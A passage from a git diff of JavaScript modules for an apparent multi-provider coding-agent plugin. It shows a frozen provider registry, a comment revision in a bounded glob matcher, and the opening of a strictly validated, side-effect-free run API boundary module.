FUTURE_HARNESS_TEMPLATE_SCHEMA_ID, +} from './future-harness.mjs'; +import { isPlainObject } from './run-manifest.mjs'; +import { assertNotProxy, fail, freezeData, hasOwn } from './selection-json.mjs'; + +export const PROVIDER_REGISTRY_SCHEMA_ID = 'codex-co-engineer.provider-registry.v1'; +export const PROVIDER_REGISTRY_VERSION = 1; +export const REGISTRY_SELECTION_SCHEMA_ID = 'codex-co-engineer.registry-selection.v1'; + +export const REGISTRY_SELECTION_RULE = 'exact_closed_slot_no_fallback'; + +const REGISTRY_OPTION_PATH = 'provider_registry.options'; +const REGISTRY_SELECTION_PATH = 'provider_registry.selection'; +const REGISTRY_PROVIDER_PATH = 'provider_registry.provider'; + +// The authoritative vocabulary is the accepted P02 grammar leaf: the +// registry re-derives its slots from `knownProvidersList()` on every read +// instead of keeping its own copy that could drift. +export const PROVIDER_REGISTRY_SLOTS = knownProvidersList(); + +// Detached deep clone for pure-data accepted projections. The clone keeps +// plain object/array identities so it stays deep-equal to the original, +// and it is frozen so no caller can mutate registry inventory in place. +function detachData(value) { + if (capturedIsArray(value)) { + return capturedFreeze(value.map(detachData)); + } + if (value === null || typeof value !== 'object') return value; + const clone = {}; + const keys = Object.keys(value); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + clone[key] = detachData(value[key]); + } + return capturedFreeze(clone); +} + +function closedListModel(values) { + return capturedFreeze({ + rule: 'closed_list', + authority: 'accepted_adapter', + values: capturedFreeze([...values]), + }); +} + +function grammarModel() { + return capturedFreeze({ + rule: 'adapter_model_grammar', + authority: 'accepted_adapter', + grammar_source: modelIdGrammarSource(), + }); +} + +function localModelGrammar() { + return capturedFreeze({ + rule: 'adapter_model_grammar', + authority: 'accepted_adapter', + grammar_source: CURSOR_LOCAL_MODEL_ID_PATTERN.source, + }); +} + +function registryEntry(provider, adapterSchemaId, composeFunctionName, optionMode, models, surface) { + return capturedFreeze({ + schema: PROVIDER_REGISTRY_SCHEMA_ID, + version: PROVIDER_REGISTRY_VERSION, + provider, + adapter_schema_id: adapterSchemaId, + compose_function_name: composeFunctionName, + option_contract: capturedFreeze({ + mode: optionMode, + // For `transport_property` slots the registry itself owns the closed + // bag shape (exactly one own enumerable data property `transport`). + // For `options_bag` slots the accepted factory owns the full closed + // option vocabulary; the registry adds no reinterpretation. + registry_required_keys: optionMode === 'transport_property' + ? capturedFreeze(['transport']) + : capturedFreeze([]), + option_vocabulary_owner: optionMode === 'transport_property' + ? 'provider_registry' + : 'accepted_adapter_factory', + }), + models, + adapter_surface: surface, + }); +} + +// Inventory is built once at load from the accepted modules' own public +// describe surfaces, then detached and frozen. No accepted claim is +// restated here, so no parallel capability schema exists. +const PRIVATE_ENTRIES = capturedFreeze({ + [GROK_PROVIDER_SLOT]: registryEntry( + GROK_PROVIDER_SLOT, + GROK_ACP_DRIVER_SCHEMA_ID, + 'bindGrokAcpDriverV1', + 'transport_property', + grammarModel(), + detachData(describeGrokAcpAdapterSurfaceV1()), + ), + [CURSOR_LOCAL_PROVIDER]: registryEntry( + CURSOR_LOCAL_PROVIDER, + CURSOR_LOCAL_DRIVER_SCHEMA_ID, + 'createCursorLocalDriverV1', + 'options_bag', + localModelGrammar(), + detachData(describeCursorLocalDriverV1()), + ), + [CURSOR_CLOUD_PROVIDER_SLOT]: registryEntry( + CURSOR_CLOUD_PROVIDER_SLOT, + CURSOR_CLOUD_DRIVER_SCHEMA_ID, + 'bindCursorCloudDriverV1', + 'transport_property', + grammarModel(), + detachData(describeCursorCloudDriverV1()), + ), + [DSH_PROVIDER]: registryEntry( + DSH_PROVIDER, + DSH_ACPX_DRIVER_SCHEMA_ID, + 'createDshApxDriverV1', + 'options_bag', + closedListModel(DSH_ALLOWED_MODELS), + detachData(describeDshApxDriverV1()), + ), +}); + +// The one exact accepted factory per slot. Lookups happen only after the +// closed-slot gate, so no hostile string ever becomes a property lookup. +const PRIVATE_COMPOSERS = capturedFreeze({ + [GROK_PROVIDER_SLOT]: bindGrokAcpDriverV1, + [CURSOR_LOCAL_PROVIDER]: createCursorLocalDriverV1, + [CURSOR_CLOUD_PROVIDER_SLOT]: bindCursorCloudDriverV1, + [DSH_PROVIDER]: createDshApxDriverV1, +}); + +// P22 is inventory, never composition: mock/conformance evidence only. +const FUTURE_HARNESS_SECTION = capturedFreeze({ + surface: 'conformance_evidence', + provider_slot: null, + composable: false, + template_schema_id: FUTURE_HARNESS_TEMPLATE_SCHEMA_ID, + conformance_schema_id: FUTURE_HARNESS_CONFORMANCE_SCHEMA_ID, + live_transport_qualification: false, + modules: capturedFreeze([ + 'provider-driver-template.mjs', + 'future-harness.mjs', + 'provider-driver-conformance.mjs', + ]), +}); + +const NONCLAIMS = capturedFreeze({ + ambient_discovery: false, + filesystem: false, + environment: false, + path_lookup: false, + network: false, + process_spawn: false, + dynamic_import: false, + clock_or_random_source: false, + fallback: false, + replay: false, + retry: false, + provider_substitution: false, + fifth_provider: false, + supervisor_cutover: false, + server_cutover: false, + durable_store: false, + scheduler: false, + live_transport_qualification: false, + merge_authority: false, + create_pr: false, + direct_mode: false, + version_change: false, +}); + +export function registrySlotsV1() { + return knownProvidersList(); +} + +export function isRegistrySlotV1(provider) { + return typeof provider === 'string' && capturedIncludes(PROVIDER_REGISTRY_SLOTS, provider); +} + +export function requireRegistrySlotV1(provider) { + if (!isRegistrySlotV1(provider)) { + fail('unknown_provider', REGISTRY_PROVIDER_PATH, + `${REGISTRY_PROVIDER_PATH} must be an exact registered provider slot: ` + + `${knownProvidersJoined()}.`); + } + return provider; +} + +export function registryEntryV1(provider) { + requireRegistrySlotV1(provider); + return PRIVATE_ENTRIES[provider]; +} + +export function registryComposeFunctionV1(provider) { + requireRegistrySlotV1(provider); + return PRIVATE_COMPOSERS[provider]; +} + +export function describeProviderRegistryV1() { + const entries = capturedCreate(null); + for (const slot of PROVIDER_REGISTRY_SLOTS) { + entries[slot] = PRIVATE_ENTRIES[slot]; + } + return freezeData({ + schema: PROVIDER_REGISTRY_SCHEMA_ID, + version: PROVIDER_REGISTRY_VERSION, + selection_rule: REGISTRY_SELECTION_RULE, + deterministic_selection: true, + slots: [...PROVIDER_REGISTRY_SLOTS], + entries, + future_harness: FUTURE_HARNESS_SECTION, + nonclaims: NONCLAIMS, + }); +} + +// Deterministic pure selection: maps an exact {provider, model} pair onto +// the one closed registry entry without constructing anything. The model +// rule is quoted per slot; where the accepted adapter owns a closed model +// list (dsh) the registry enforces membership against the accepted frozen +// constant, and where it owns a grammar the adapter stays the sole model +// authority. Nothing here widens either vocabulary. +export function resolveRegistrySelectionV1(selection) { + const path = REGISTRY_SELECTION_PATH; + if (selection === undefined || selection === null + || (typeof selection !== 'object' && typeof selection !== 'function')) { + fail('invalid_type', path, `${path} must be a plain selection record.`); + } + assertNotProxy(selection, path); + if (!isPlainObject(selection)) { + fail('invalid_type', path, `${path} must be a plain selection record.`); + } + let ownKeys; + try { + ownKeys = capturedOwnKeys(selection); + } catch { + fail('invalid_type', path, `${path} keys could not be inspected safely.`); + } + for (const key of ownKeys) { + if (typeof key === 'symbol') { + fail('symbol_key_denied', `${path}[symbol]`, + `${path}[symbol] carries a symbol-keyed property; selections are direct data only.`); + } + } + for (const key of ownKeys) { + const descriptor = capturedDescriptor(selection, key); + if (!descriptor || !descriptor.enumerable) { + fail('non_enumerable_property_denied', path, + `${path} carries a non-enumerable own property; selections are plain data.`); + } + } + for (const key of Object.keys(selection)) { + if (key !== 'provider' && key !== 'model') { + fail('unknown_key', path, `${path} carries a key outside the closed selection vocabulary.`); + } + } + for (const key of ['provider', 'model']) { + if (!hasOwn(selection, key)) { + fail('missing_key', `${path}.${key}`, `${path}.${key} is required.`); + } + } + const providerDescriptor = capturedDescriptor(selection, 'provider'); + if (providerDescriptor.get !== undefined || providerDescriptor.set !== undefined) { + fail('accessor_property_denied', `${path}.provider`, + `${path}.provider is an accessor property; selections are direct data only.`); + } + const modelDescriptor = capturedDescriptor(selection, 'model'); + if (modelDescriptor.get !== undefined || modelDescriptor.set !== undefined) { + fail('accessor_property_denied', `${path}.model`, + `${path}.model is an accessor property; selections are direct data only.`); + } + const provider = requireRegistrySlotV1(providerDescriptor.value); + const model = modelDescriptor.value; + if (typeof model !== 'string') { + fail('invalid_model', `${path}.model`, `${path}.model must be the exact selected model identifier.`); + } + const entry = PRIVATE_ENTRIES[provider]; + if (entry.models.rule === 'closed_list' && !capturedIncludes(entry.models.values, model)) { + fail('unknown_model', `${path}.model`, + `${path}.model is not part of the closed ${provider} model vocabulary.`); + } + return freezeData({ + schema: REGISTRY_SELECTION_SCHEMA_ID, + version: PROVIDER_REGISTRY_VERSION, + selection_rule: REGISTRY_SELECTION_RULE, + deterministic: true, + provider, + model, + adapter_schema_id: entry.adapter_schema_id, + compose_function_name: entry.compose_function_name, + model_rule: entry.models.rule, + }); +} + +// Composition seam. Provider gating happens before any option byte is +// inspected; options are quarantined content-free (no getter, setter, +// proxy trap, or caller code ever runs); the accepted factory's return +// value is passed through untouched. +export function composeProviderDriverV1(provider, options) { + const slot = requireRegistrySlotV1(provider); + const path = REGISTRY_OPTION_PATH; + if (options === undefined || options === null + || (typeof options !== 'object' && typeof options !== 'function')) { + fail('invalid_type', path, `${path} must be a plain options record.`); + } + assertNotProxy(options, path); + if (!isPlainObject(options)) { + fail('invalid_type', path, `${path} must be a plain options record.`); + } + let ownKeys; + try { + ownKeys = capturedOwnKeys(options); + } catch { + fail('invalid_type', path, `${path} keys could not be inspected safely.`); + } + for (const key of ownKeys) { + if (typeof key === 'symbol') { + fail('symbol_key_denied', `${path}[symbol]`, + `${path}[symbol] carries a symbol-keyed property; options are direct data only.`); + } + } + for (const key of ownKeys) { + const descriptor = capturedDescriptor(options, key); + if (!descriptor || !descriptor.enumerable) { + fail('non_enumerable_property_denied', path, + `${path} carries a non-enumerable own property; options are plain data.`); + } + } + if (PRIVATE_ENTRIES[slot].option_contract.mode !== 'transport_property') { + // The accepted factory owns this bag's full closed vocabulary and + // already quarantines proxies, accessors, symbols, unknown keys, and + // exotic prototypes; the registry forwards it without reinterpretation. + return PRIVATE_COMPOSERS[slot](options); + } + for (const key of Object.keys(options)) { + if (key !== 'transport') { + fail('unknown_key', path, `${path} carries a key outside the closed registry vocabulary.`); + } + } + if (!hasOwn(options, 'transport')) { + fail('missing_key', `${path}.transport`, + `${path}.transport is required; the registry inherits no hidden transport default.`); + } + const descriptor = capturedDescriptor(options, 'transport'); + if (descriptor.get !== undefined || descriptor.set !== undefined) { + fail('accessor_property_denied', `${path}.transport`, + `${path}.transport is an accessor property; transports are concrete method objects only.`); + } + return PRIVATE_COMPOSERS[slot](descriptor.value); +} + +capturedFreeze(detachData); +capturedFreeze(registrySlotsV1); +capturedFreeze(isRegistrySlotV1); +capturedFreeze(requireRegistrySlotV1); +capturedFreeze(registryEntryV1); +capturedFreeze(registryComposeFunctionV1); +capturedFreeze(describeProviderRegistryV1); +capturedFreeze(resolveRegistrySelectionV1); +capturedFreeze(composeProviderDriverV1); diff --git a/plugins/codex-co-engineer/mcp/v3/repo-path-matcher.mjs b/plugins/codex-co-engineer/mcp/v3/repo-path-matcher.mjs index 6351c65..60608b3 100644 --- a/plugins/codex-co-engineer/mcp/v3/repo-path-matcher.mjs +++ b/plugins/codex-co-engineer/mcp/v3/repo-path-matcher.mjs @@ -48,15 +48,16 @@ // Reflect.apply, or Function#call/#bind therefore neither alters acceptance, // executes caller code, relaxes bounds, nor exposes private authority. // -// Bounded work, charged honestly: parsing is bounded by the fixed pattern -// caps. Matching work is bounded twice over — once per single call against -// GLOB_MATCH_STEP_BUDGET and once per batch as an aggregate product rejected -// before the first match. Both charges are computed from the private IR -// BEFORE any matching runs, and both charge character-class internals: -// every single adds 1 step and every range adds 2, so range-heavy patterns -// pay for the membership scans they cause and hostile range-count/work -// amplification is rejected deterministically instead of hiding behind a -// naive atom count. +// Bounded work, charged honestly: ingress validation is bounded by the +// fixed pattern, path, and batch caps and is not match-matrix work. +// Match-matrix work is bounded twice over — once per single call against +// GLOB_MATCH_STEP_BUDGET and once per batch as an aggregate product +// rejected before any match-matrix DP. Both charges are computed from the +// private IR BEFORE any matching runs, and both charge character-class +// internals: every single adds 1 step and every range adds 2, so +// range-heavy patterns pay for the membership scans they cause and +// hostile range-count/work amplification is rejected deterministically +// instead of hiding behind a naive atom count. // // Algorithm: bounded dynamic programming twice over — (pattern-segment x // path-segment) pairs, then (atom x code point) pairs with correctly seeded @@ -76,9 +77,10 @@ export const REPO_PATH_MATCHER_ID = 'codex-co-engineer.repo-path-matcher.v1'; // Bounds mirror the R1 repository-path validator and the R1 write-scope glob // limits so every manifest-accepted scope pattern stays inside the matchable -// envelope. GLOB_MATCH_STEP_BUDGET sits far above the largest charged product -// the caps allow and exists purely as defense in depth for both the -// single-path matrix and the aggregate batch product. +// envelope. GLOB_MATCH_STEP_BUDGET sits far above the largest charged +// single-path product the caps allow and is defense in depth for that +// matrix; a legal-cap aggregate batch product can exceed it and is rejected +// before match-matrix DP rather than matched unbounded. export const REPO_PATH_MAX_BYTES = 4096; export const REPO_PATH_MAX_SEGMENTS = 64; export const REPO_PATH_SEGMENT_MAX_BYTES = 255; diff --git a/plugins/codex-co-engineer/mcp/v3/run-api-boundary.mjs b/plugins/codex-co-engineer/mcp/v3/run-api-boundary.mjs new file mode 100644 index 0000000..e2551c9 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/run-api-boundary.mjs @@ -0,0 +1,1296 @@ +// RunApiBoundaryV1 — side-effect-free projection of already-produced P30 +// protected-ref audit receipts and P31 run-orchestration receipts (P32). +// +// Additive v3 adapter. It consumes values only: it does not call P30 audit +// functions, P31 prepare/dispatch/cancel/restart, Git, filesystem, process, +// network, provider, credential, handoff, workspace, reservation, +// supervisor, server, or release mechanisms. Matching run/base identity and +// declared lane/provider identity are bound without broadening either +// upstream authority. Failed/ref-drift audits and non-clean P31 lifecycles +// remain failed/unresolved. Results are detached, deeply frozen, +// content-free, and JSON-serializable. No public MCP tool/server cutover, +// supervisor change, command execution, release decision, Gate A claim, or +// remote mutation authority. + +import { Buffer as NodeBuffer } from 'node:buffer'; + +import { + DISCREPANCY_CODES, + DISCREPANCY_KINDS, + DISCREPANCY_STATUSES, + FACT_AUTHORITIES, + FACT_CODES, + FACT_KINDS, + FACT_METHODS, + FACT_STATUSES, + MAX_DURATION_MS, + MAX_SEQUENCE, +} from './evidence-bundle.mjs'; +import { + capturedFreeze, + capturedHasOwn, + capturedIncludes, + capturedIsArray, + capturedOwnKeys, + capturedTest, + isKnownProvider, + isModelId, +} from './grammar.mjs'; +import { REF_CLASS_VALUES } from './git-authority.mjs'; +import { GIT_IDENTITY_SCHEMA_ID } from './protected-identity.mjs'; +import { + COMPARISON_KEYS as PROTECTED_REF_AUDIT_COMPARISON_KEYS, + MAX_AUDIT_REFS, + PROTECTED_REF_AUDIT_CHECKS, + PROTECTED_REF_AUDIT_FAILING_CODES, + PROTECTED_REF_AUDIT_FINDING_CODES, + PROTECTED_REF_AUDIT_REPOSITORY_KINDS, + PROTECTED_REF_AUDIT_SCHEMA_ID, + PROTECTED_REF_AUDIT_SIDE_EFFECT_NONCLAIMS, + PROTECTED_REF_AUDIT_STATUSES, + PROTECTED_REF_AUDIT_STORAGE_CLASSES, + PROTECTED_REF_AUDIT_VERSION, + RECEIPT_KEYS as PROTECTED_REF_AUDIT_RECEIPT_KEYS, +} from './protected-ref-audit.mjs'; +import { + RunContractV1Error, + assertBaseSha, + assertRunId, + isAssignmentId, + isSha40, +} from './run-manifest.mjs'; +import { + ORCHESTRATION_INTENTS, + RUN_ORCHESTRATION_ALWAYS_FALSE_SIDE_EFFECTS, + RUN_ORCHESTRATION_CHECKS, + RUN_ORCHESTRATION_ERROR_CODES, + RUN_ORCHESTRATION_SCHEMA_ID, + RUN_ORCHESTRATION_SIDE_EFFECTS, + RUN_ORCHESTRATION_VERSION, +} from './run-orchestration.mjs'; +import { + PREFLIGHT_MAX_CHILDREN, + PREFLIGHT_MIN_CHILDREN, + RUN_PREFLIGHT_CHECKS, + RUN_PREFLIGHT_ERROR_CODES, + RUN_PREFLIGHT_SCHEMA_ID, + RUN_PREFLIGHT_SIDE_EFFECT_NONCLAIMS, + RUN_PREFLIGHT_VERSION, +} from './run-preflight.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + fail, + freezeData, + hasOwn, + optOwn, + ownDataValue, +} from './selection-json.mjs'; + +export const RUN_API_BOUNDARY_SCHEMA_ID = 'codex-co-engineer.run-api-boundary.v1'; +export const RUN_API_BOUNDARY_VERSION = 1; + +export const MAX_API_OBJECT_KEYS = 32; +export const MAX_API_KEY_BYTES = 128; +export const MAX_API_STRING_BYTES = 256; +export const MAX_DROPPED_STRING_BYTES = 4096; +export const MAX_API_COLLECTION = MAX_AUDIT_REFS; +export const MAX_API_LANES = PREFLIGHT_MAX_CHILDREN; + +export const RUN_API_BOUNDARY_STATUSES = capturedFreeze([ + 'denied', 'failed', 'ready', 'unresolved', +]); +export const RUN_API_BOUNDARY_ORCHESTRATION_KINDS = capturedFreeze(['denial', 'receipt']); +export const RUN_API_BOUNDARY_CHECKS = capturedFreeze([ + 'request_quarantine', + 'p30_receipt_schema', + 'p31_receipt_or_denial_schema', + 'identity_binding', + 'negative_evidence_preservation', + 'content_free_projection', + 'side_effect_free_adapter', + 'remote_mutation_denied', +]); +export const RUN_API_BOUNDARY_SIDE_EFFECT_NONCLAIMS = capturedFreeze([ + 'audit_executed', + 'orchestration_executed', + 'git_invoked', + 'filesystem_invoked', + 'process_invoked', + 'network_invoked', + 'provider_invoked', + 'credentials_accessed', + 'env_accessed', + 'argv_accessed', + 'handoff_accessed', + 'workspace_created', + 'reservation_held', + 'remote_mutated', + 'supervisor_cutover', + 'public_api_exposed', + 'release_decided', + 'gate_a_claimed', +]); +export const RUN_API_BOUNDARY_INVARIANT_KEYS = capturedFreeze([ + 'read_only_audit', + 'credentials_not_projected', + 'refs_not_mutated', + 'workspace_not_created', + 'reservation_not_held', + 'provider_isolated', + 'cleanup_truthful', + 'remote_mutated', + 'public_api_exposed', + 'gate_a_claimed', + 'release_decided', + 'supervisor_cutover', +]); + +export const INPUT_ALLOWED_KEYS = capturedFreeze([ + 'audit', 'identity', 'lifecycle', 'orchestration', 'schema', 'version', +]); +export const INPUT_REQUIRED_KEYS = capturedFreeze([ + 'audit', 'identity', 'orchestration', 'schema', 'version', +]); +export const IDENTITY_ALLOWED_KEYS = capturedFreeze([ + 'assignment_id', 'base_sha', 'provider', 'run_id', +]); +export const IDENTITY_REQUIRED_KEYS = capturedFreeze(['base_sha', 'run_id']); +export const AUDIT_FINDING_KEYS = capturedFreeze([ + 'code', 'default_branch_target', 'protected', 'ref_class', 'storage', +]); +export const AUDIT_OBSERVATION_KEYS = capturedFreeze([ + 'command_count', 'compared_count', 'duration_ms', 'loose_count', + 'missing_count', 'packed_count', 'symbolic_count', +]); +export const AUDIT_FACT_ALLOWED_KEYS = capturedFreeze([ + 'artifact_digests', 'assignment_id', 'authority', 'code', 'duration_ms', + 'exit_code', 'fact_id', 'fact_kind', 'input_digest', 'method', + 'output_digest', 'payload', 'payload_digest', 'recorded_at', 'run_id', + 'sequence', 'status', 'subject', 'truncated', +]); +export const AUDIT_FACT_REQUIRED_KEYS = capturedFreeze([ + 'artifact_digests', 'assignment_id', 'authority', 'code', 'duration_ms', + 'exit_code', 'fact_id', 'fact_kind', 'input_digest', 'method', + 'output_digest', 'payload', 'run_id', 'sequence', 'status', 'subject', + 'truncated', +]); +export const AUDIT_FACT_PAYLOAD_KEYS = capturedFreeze(['base_sha', 'head_sha']); +export const AUDIT_DISCREPANCY_ALLOWED_KEYS = capturedFreeze([ + 'artifact_digests', 'assignment_id', 'claim_ids', 'code', 'discrepancy_id', + 'discrepancy_kind', 'fact_ids', 'recorded_at', 'run_id', 'sequence', 'status', +]); +export const AUDIT_DISCREPANCY_REQUIRED_KEYS = capturedFreeze([ + 'artifact_digests', 'assignment_id', 'claim_ids', 'code', 'discrepancy_id', + 'discrepancy_kind', 'fact_ids', 'run_id', 'sequence', 'status', +]); +export const PREFLIGHT_RECEIPT_KEYS = capturedFreeze([ + 'capacity', 'checks', 'children', 'git_identity', 'repository', 'run_id', + 'schema', 'side_effects', 'status', 'version', +]); +export const PREFLIGHT_CHILD_KEYS = capturedFreeze([ + 'assignment_ids', 'concurrency', 'count', 'independent', 'maximum', + 'minimum', 'scope_pair_checks', +]); +export const PREFLIGHT_CAPACITY_KEYS = capturedFreeze([ + 'available_ram_bytes', 'cpu_ok', 'cpu_parallelism', 'ram_ok', + 'required_ram_bytes', 'source', 'total_ram_bytes', +]); +export const PREFLIGHT_REPOSITORY_KEYS = capturedFreeze([ + 'base_sha', 'git_dir', 'object_type', 'path', +]); +export const GIT_IDENTITY_ALLOWED_KEYS = capturedFreeze([ + 'base_sha', 'digest', 'repository_path', 'schema', +]); +export const ORCHESTRATION_RECEIPT_KEYS = capturedFreeze([ + 'checks', 'intent', 'lanes', 'preflight', 'run_id', 'schema', + 'side_effects', 'status', 'version', +]); +export const ORCHESTRATION_LANE_KEYS = capturedFreeze([ + 'assignment_id', 'credential_present', 'identity', 'model', 'projected_keys', + 'provider', 'status', +]); +export const ORCHESTRATION_DENIAL_KEYS = capturedFreeze([ + 'code', 'run_id', 'schema', 'version', +]); +export const ORCHESTRATION_DENIAL_REQUIRED_KEYS = capturedFreeze([ + 'code', 'schema', 'version', +]); +export const LIFECYCLE_ALLOWED_KEYS = capturedFreeze([ + 'cleaned', 'missing', 'restarted', 'side_effects', 'status', 'unresolved', +]); +export const LIFECYCLE_REQUIRED_KEYS = capturedFreeze([ + 'cleaned', 'status', 'unresolved', +]); +export const LIFECYCLE_STATUSES = capturedFreeze(['cancelled', 'dispatched', 'terminal']); +export const LIFECYCLE_UNRESOLVED_KEYS = capturedFreeze(['assignment_id', 'code']); +export const LIFECYCLE_UNRESOLVED_CODES = capturedFreeze([ + 'dispatcher_stop_failed', 'handoff_cleanup_failed', +]); +export const ORCHESTRATION_RECEIPT_STATUSES = capturedFreeze(['dispatched', 'prepared']); +export const ORCHESTRATION_LANE_STATUSES = capturedFreeze([ + 'projected', 'selection_unresolved', +]); +export const PREFLIGHT_CAPACITY_SOURCES = capturedFreeze(['ambient', 'injected']); +export const COMPARISON_OUTCOMES = capturedFreeze([ + 'aliased_ref', 'match', 'missing_ref', 'moved_ref', 'symbolic_ref', +]); +const FAILING_COMPARISON_OUTCOMES = capturedFreeze([ + 'aliased_ref', 'missing_ref', 'moved_ref', 'symbolic_ref', +]); +const PREPARE_FORBIDDEN_SIDE_EFFECTS = capturedFreeze([ + 'provider_process_started', 'task_dispatched', +]); +export const RESULT_KEYS = capturedFreeze([ + 'assignment_id', 'audit', 'base_sha', 'checks', 'invariants', 'lifecycle', + 'orchestration', 'provider', 'run_id', 'schema', 'side_effects', 'status', + 'version', +]); + +export const RUN_API_BOUNDARY_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', 'aliased_reference_denied', 'bounds_exceeded', + 'exotic_prototype_denied', 'identity_mismatch', 'invalid_format', + 'invalid_type', 'missing_key', 'non_enumerable_property_denied', + 'out_of_range', 'own_undefined_denied', 'proxy_denied', 'symbol_key_denied', + 'unknown_key', 'value_depth_exceeded', +]); + +const DEFINE = Object.defineProperty; +const OBJECT_IS = Object.is; +const IS_INT = Number.isSafeInteger; +const STRING = String; +const BYTE_LENGTH = NodeBuffer.byteLength.bind(NodeBuffer); +const IS_ARRAY = capturedIsArray; +const OWN_KEYS = capturedOwnKeys; +const SET_CTOR = Set; +const SHA256_PATTERN = /^[0-9a-f]{64}$/u; +const SHA256_LABELED_PATTERN = /^sha256:[0-9a-f]{64}$/u; +const RECORD_ID_PATTERN = /^[a-z][a-z0-9-]{0,63}$/u; +const SUBJECT_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:/-]{0,127}$/u; +const LANE_IDENTITY_PATTERN = /^[0-9a-f]{32}$/u; +const PROJECTED_KEY_PATTERN = /^[A-Z][A-Z0-9_]{0,63}$/u; +const TIMESTAMP_PATTERN = /^[0-9]{4}-[0-9]{2}-[0-9]{2}T[0-9]{2}:[0-9]{2}:[0-9]{2}Z$/u; +const DENIAL_CODES = capturedFreeze([ + ...RUN_PREFLIGHT_ERROR_CODES, + ...RUN_ORCHESTRATION_ERROR_CODES, +]); +const MSG = capturedFreeze({ + accessor_property_denied: 'RunApiBoundaryV1 denies accessor inputs.', + aliased_reference_denied: 'RunApiBoundaryV1 denies aliased inputs.', + bounds_exceeded: 'RunApiBoundaryV1 exceeded a closed projection bound.', + exotic_prototype_denied: 'RunApiBoundaryV1 denies exotic prototypes.', + identity_mismatch: 'RunApiBoundaryV1 requires matching run, base, lane, and provider identity.', + invalid_format: 'RunApiBoundaryV1 rejected a value that violates a closed grammar.', + invalid_type: 'RunApiBoundaryV1 rejected a non-JSON projection value.', + missing_key: 'RunApiBoundaryV1 requires every canonical projection key.', + non_enumerable_property_denied: 'RunApiBoundaryV1 denies non-enumerable properties.', + out_of_range: 'RunApiBoundaryV1 rejected a value outside closed bounds.', + own_undefined_denied: 'RunApiBoundaryV1 denies own undefined values.', + proxy_denied: 'RunApiBoundaryV1 denies Proxy inputs.', + symbol_key_denied: 'RunApiBoundaryV1 denies symbol keys.', + unknown_key: 'RunApiBoundaryV1 rejects keys outside the closed vocabulary.', + value_depth_exceeded: 'RunApiBoundaryV1 rejected nested input that exceeds closed depth.', +}); +const CLOSURE_REMAP = capturedFreeze({ + accessor_property_denied: 'accessor_property_denied', + aliased_reference_denied: 'aliased_reference_denied', + exotic_prototype_denied: 'exotic_prototype_denied', + invalid_array: 'invalid_type', + invalid_json_type: 'invalid_type', + invalid_json_value: 'invalid_type', + invalid_type: 'invalid_type', + non_enumerable_property_denied: 'non_enumerable_property_denied', + own_undefined_denied: 'own_undefined_denied', + proxy_denied: 'proxy_denied', + symbol_key_denied: 'symbol_key_denied', + value_depth_exceeded: 'value_depth_exceeded', +}); + +function freezeRecord(keys, values) { + const snapshot = {}; + for (let i = 0; i < keys.length; i += 1) { + const key = keys[i]; + if (!capturedHasOwn(values, key)) continue; + DEFINE(snapshot, key, { + value: values[key], enumerable: true, writable: false, configurable: false, + }); + } + return capturedFreeze(snapshot); +} + +function deny(code, pathLabel) { + fail(code, pathLabel, MSG[code] ?? MSG.invalid_format); +} + +function remapClosure(error, pathLabel) { + if (error instanceof RunContractV1Error) { + const mapped = CLOSURE_REMAP[error.code]; + if (typeof mapped === 'string') deny(mapped, pathLabel); + } + deny('invalid_type', pathLabel); +} + +function assertClosedObject(input, allowed, pathLabel) { + if (input === undefined || input === null) deny('invalid_type', pathLabel); + if (typeof input === 'object' || typeof input === 'function') { + try { assertNotProxy(input, pathLabel); } catch (error) { remapClosure(error, pathLabel); } + } + if (typeof input !== 'object') deny('invalid_type', pathLabel); + if (IS_ARRAY(input)) deny('invalid_type', pathLabel); + try { + assertDirectJsonClosure(input, pathLabel); + } catch (error) { remapClosure(error, pathLabel); } + let keys; + try { keys = OWN_KEYS(input); } catch { deny('invalid_type', pathLabel); } + if (keys.length > MAX_API_OBJECT_KEYS) deny('bounds_exceeded', pathLabel); + const allowedSet = new SET_CTOR(allowed); + for (let i = 0; i < keys.length; i += 1) { + const key = keys[i]; + if (typeof key === 'symbol') deny('symbol_key_denied', pathLabel); + if (typeof key !== 'string' || BYTE_LENGTH(key, 'utf8') > MAX_API_KEY_BYTES) { + deny('bounds_exceeded', pathLabel); + } + if (!allowedSet.has(key)) deny('unknown_key', pathLabel); + } + return input; +} + +function requireKeys(input, keys, pathLabel) { + for (let i = 0; i < keys.length; i += 1) { + if (!hasOwn(input, keys[i])) deny('missing_key', pathLabel); + } +} + +function exactKeySet(input, keys, pathLabel) { + requireKeys(input, keys, pathLabel); + const owned = OWN_KEYS(input); + if (owned.length !== keys.length) deny('unknown_key', pathLabel); +} + +function ownString(input, key, pathLabel, maxBytes = MAX_API_STRING_BYTES) { + const value = ownDataValue(input, key, pathLabel); + if (typeof value !== 'string') deny('invalid_type', pathLabel); + if (BYTE_LENGTH(value, 'utf8') > maxBytes) deny('bounds_exceeded', pathLabel); + return value; +} + +function optionalString(input, key, pathLabel, maxBytes = MAX_API_STRING_BYTES) { + if (!hasOwn(input, key)) return undefined; + return ownString(input, key, pathLabel, maxBytes); +} + +function ownBoolean(input, key, pathLabel) { + const value = ownDataValue(input, key, pathLabel); + if (value !== true && value !== false) deny('invalid_type', pathLabel); + return value; +} + +function optionalBoolean(input, key, pathLabel) { + if (!hasOwn(input, key)) return undefined; + return ownBoolean(input, key, pathLabel); +} + +function ownEnum(input, key, allowed, pathLabel) { + const value = ownString(input, key, pathLabel); + if (!capturedIncludes(allowed, value)) deny('invalid_format', pathLabel); + return value; +} + +function ownInt(input, key, pathLabel, min, max) { + const value = ownDataValue(input, key, pathLabel); + if (typeof value !== 'number' || !IS_INT(value) || value < min || value > max) { + deny('out_of_range', pathLabel); + } + return value; +} + +function ownArray(input, key, pathLabel, maxLength) { + const value = ownDataValue(input, key, pathLabel); + try { assertNotProxy(value, pathLabel); } catch (error) { remapClosure(error, pathLabel); } + if (!IS_ARRAY(value)) deny('invalid_type', pathLabel); + if (value.length > maxLength) deny('bounds_exceeded', pathLabel); + return value; +} + +function ownSha256(input, key, pathLabel) { + const value = ownString(input, key, pathLabel); + if (!capturedTest(SHA256_PATTERN, value)) deny('invalid_format', pathLabel); + return value; +} + +function ownRecordId(input, key, pathLabel) { + const value = ownString(input, key, pathLabel); + if (!capturedTest(RECORD_ID_PATTERN, value)) deny('invalid_format', pathLabel); + return value; +} + +function bindRunId(value, pathLabel) { 